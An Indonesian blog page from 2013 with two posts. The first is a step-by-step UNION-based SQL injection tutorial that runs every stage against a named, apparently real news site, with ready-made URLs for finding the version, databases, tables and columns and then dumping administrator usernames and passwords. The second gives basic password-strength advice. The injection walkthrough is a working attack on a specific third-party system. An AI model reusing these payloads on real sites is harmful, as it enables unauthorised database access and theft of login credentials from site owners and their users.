Powered By Blogger

Sabtu, 09 Februari 2013

SQL Injection


SQL Injection adalah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah palikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter – karakter pelolos bentung string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. ini sebanarnya adalah sebiah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat bterjadi setiap kali senbuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice
Berbahaya SQL Injection :
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
Statement sql bukanlah bahasa pemrograman seperti pascal,Delphi atau visual basic , statemen sql biasanya digunakan bersama sama dengan bahasa pemrograman lain saat mengakses database pada  untuk mencocokan user yang login , maka digunakan statemen sql yang kurang lebih sebagai berikut ;
Select * from admin where username = input_username
And password = input_password 
Sebagai contoh apabila penulis sebagai administrator dengan username = administrator dan password = admin bermaksud login maka sql statemennya sebagai berikut
Select * from admin where username = ‘administrator’ and
Password = ‘admin’
setelah mendapatkan alamat target kita cek dahulu adanya bug mysql dengan menambahkan ‘ pada akrih URL
contoh : http://www.ciputatbisnis.com/news.php?id=82′
selanjtnya menemukan jumlah kolom pada URL, dengan pernyataan “order by” dan angka di akrihnya
contoh : http://www.ciputatbisnis.com/news.php?id=82 order by 1 s/d seterusnya sampai menemukan error, errror tersebut membuktikan bahwa url tersebut hanya memiliki kolom sedikit.
Setelah kita mengetahui jumlah kolom yang terdapat pada table database, selanjutnya kita akan mencari informasi & data apa yang bisa diambil dari sana.
untuk  melakukan hal tersebut kita menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL.
Finding MySQL Database Version, Kita ganti angka “1” dengan  “@@version” untuk mengetahui informasi versi database.
Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version”
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata”
contoh: http://www.ciputatbisnis.com/news.php?id=-82+UNION+SELECT+concat(database()),2,3,4,5,6,7
Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.
contoh:http://www.ciputatbisnis.com/news.php?id=-82 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()
Menemukan Nama Kolom Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
contoh :http://www.ciputatbisnis.com/news.php?id=-82 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()
Mengambil Informasi Database Sekarang kita sudah mengetahui “database name, table names, dan colomn names”, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana.
contoh :http://www.ciputatbisnis.com/news.php?id=-82 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename
Sekarang ganti “columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.
contoh: http://www.ciputatbisnis.com/news.php?id=-82 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin
referensi :

Cek Kekuatan Password


pengertian password
Password adalah kode rahasia, kata sandi yang merupakan kunci untuk bisa mengakses atau membuka suatu sistem yang dikunci. Password juga bisa disebut dengan kunci.
Password merupakan rahasia, jika ada orang lain yang mengetahui password tersebut, bisa jadi orang yang tidak berhak tersebut akan menghapus atau mencuri berkas-berkas yang ada. Jadi sebaiknya dalam selang waktu tertentu password sebaiknya diganti dan agar kerahasiaannya terjamin, sebaiknya hal-hal berikut ini tidak digunakan :
Nama atau nama panggilan
nama orang tua, pacar, saudara atau orang dekat
sesuatu yang mudah ditebak, seperti nama kota, jenis musik yang disukai oleh orang yang mempunyai password tersebut
Password yang baik adalah password yang susah ditebak oleh orang lain dan mudah diingat oleh Anda dan hal-hal yang disarankan:
Menggunakan kombinasi huruf besar dan huruf kecil
Mengandung angka dan karakter tanda baca (seperti ?,! dll)
Panjangnya minimal 6 karakter lebih panjang lebih baik
dan update password anda minimal 2 minggu sekali.

flowmap cek kekuatan password :